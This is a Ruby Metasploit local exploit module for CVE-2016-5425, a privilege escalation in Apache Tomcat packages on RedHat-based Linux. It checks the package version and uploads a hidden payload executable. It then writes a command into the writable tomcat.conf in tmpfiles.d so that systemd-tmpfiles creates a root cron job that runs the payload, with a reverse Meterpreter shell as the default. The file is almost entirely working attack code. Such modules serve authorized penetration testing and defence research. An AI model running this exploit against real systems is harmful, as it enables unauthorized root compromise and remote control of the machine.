###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::Retry
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability in RedHat based systems where
          improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
          for Apache Tomcat versions before 7.0.54-8.  This may also work against

          The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
          temporary files including their creation.

          With this weak permission, we're able to inject commands into systemd-tmpfiles
          service to write a cron job to execute our payload.

          systemd-tmpfiles is executed by default on boot on RedHat-based systems
          through systemd-tmpfiles-setup.service. Depending on the system in use,
          the execution of systemd-tmpfiles could also be triggered by other
          services, cronjobs, startup scripts etc.

          This module was tested against Tomcat 7.0.54-3 on Fedora 21.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'DefaultOptions' => {
          'WfsDelay' => 1800, # 30min
          'payload' => 'linux/x64/meterpreter_reverse_tcp'
        },
        'References' => [
          ['EDB', '40488' ],
          ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
          ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
          ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
          ['CVE', '2016-5425']
        ],
        'DisclosureDate' => '2016-10-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
    ]
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def tomcat_conf
    '/usr/lib/tmpfiles.d/tomcat.conf'
  end

  def suid?(file)
    get_suid_files(file).include? file
  end

  def check
    package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
    if package.nil? || package.empty?
      return CheckCode::Safe('Unable to execute command to determine installed pacakges')
    end

    package = package.sub('tomcat-', '').strip
    # fedora based cleanup
    package = package.sub(/\.fc\d\d\.noarch/, '')
    # rhel/centos based cleanup
    package = package.sub(/\.el\d_\d\.noarch/, '')
    package = Rex::Version.new(package)

    # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
    # only 7 is effected, so we're going to go off their write-up.
    if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
      return CheckCode::Appears("Vulnerable app version detected: #{package}")
    end

    CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    unless writable? tomcat_conf
      fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
    end

    vprint_status("Creating backup of #{tomcat_conf}")
    @tomcat_conf_content = read_file(tomcat_conf)
    path = store_loot(
      tomcat_conf,
      'text/plain',
      rhost,
      @tomcat_conf_content,
      'tomcat.conf'
    )
    print_good("Original #{tomcat_conf} backed up to #{path}")

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    vprint_status("Uploading Payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_file_for_cleanup(payload_path)

    # write in our payload execution
    vprint_status("Writing permission elevation into #{tomcat_conf}")

    cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
    print_status("Creating cron job in #{cron_job}")
    # The POC shows 2 options, a cron answer, and copy bash answer.
    # Initially I attempted to copy our payload, set suid and root owner
    # however it seemed to need 2 service restart to apply all the permissions.
    # I never figured out why it was like that, even chaining copying bash in, then
    # launching the payload from the bash instance etc.  We opt for the cron
    # which may take 1 additional minute, and rely on cron, but is much more stable
    cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
    register_file_for_cleanup(cron_job)

    # we now need systemd-tmpfiles to restart
    print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
    succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
      file? cron_job
    end

    unless succeeded
      print_error("#{cron_job} not found, exploit aborted")
      return
    end

    print_status('Waiting on cron to execute the payload (~1 minute)')
  end

  def cleanup
    unless @tomcat_conf_content.nil?
      write_file(tomcat_conf, @tomcat_conf_content)
    end
    super
  end
end
